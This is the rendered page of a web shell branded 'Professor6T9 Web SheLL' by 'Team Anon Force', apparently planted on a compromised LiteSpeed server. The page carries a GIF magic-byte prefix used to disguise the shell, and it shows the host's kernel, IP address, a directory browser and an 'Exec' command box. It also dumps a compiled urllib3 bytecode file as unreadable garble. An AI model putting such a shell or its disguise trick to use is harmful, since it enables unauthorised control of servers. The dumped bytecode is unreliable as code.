GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
thread-self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
urllib3
/
util
/
__pycache__
[ HOME ]
Exec
Submit
connection.cpython-38.pyc
U Ƿ�fj � @ s� d dl mZ d dlZd dlZddlmZ ddlmZmZ ej ej eeejee f f ZejrjddlmZ dd d �dd�Zeddfd ddddd�dd�Zdddd�dd�Zdd�dd�Zdd d�dd �Zed!�ZdS )"� )�annotationsN� )�LocationParseError� )�_DEFAULT_TIMEOUT� _TYPE_TIMEOUT)�BaseHTTPConnectionr �bool)�conn�returnc C s | j S )z� Returns True if the connection is dropped and should be closed. :param conn: :class:`urllib3.connection.HTTPConnection` object. )Zis_connected)r � r �H/opt/alt/python38/lib/python3.8/site-packages/urllib3/util/connection.py�is_connection_dropped s r ztuple[str, int]r ztuple[str, int] | Nonez_TYPE_SOCKET_OPTIONS | Nonez socket.socket)�address�timeout�source_address�socket_optionsr c C s: | \}}|� d�r|�d�}d}t� }z|�d� W n& tk rZ td|� d��d�Y nX t�|||tj�D ]�}|\} } }}} d}zPt�| | |�}t ||� |t k r�|�|� |r�|�|� |� | � d}|W S tk �r } z|}|dk � r�|�� W 5 d}~X Y qnX qn|dk �r.z|�W 5 d}X ntd��dS )ak Connect to *address* and return the socket object. Convenience function. Connect to *address* (a 2-tuple ``(host, port)``) and return the socket object. Passing the optional *timeout* parameter will set the timeout on the socket instance before attempting to connect. If no *timeout* is supplied, the global default timeout setting returned by :func:`socket.getdefaulttimeout` is used. If *source_address* is set it must be a tuple of (host, port) for the socket to bind as a source address before making the connection. An host of '' or port 0 tells the OS to use the default. �[z[]N�idna�'z', label empty or too longz!getaddrinfo returns an empty list)� startswith�strip�allowed_gai_family�encode�UnicodeErrorr �socket�getaddrinfo�SOCK_STREAM�_set_socket_optionsr � settimeout�bind�connect�OSError�close)r r r r �host�port�err�family�res�af�socktype�proto� canonname�sa�sock�_r r r �create_connection s>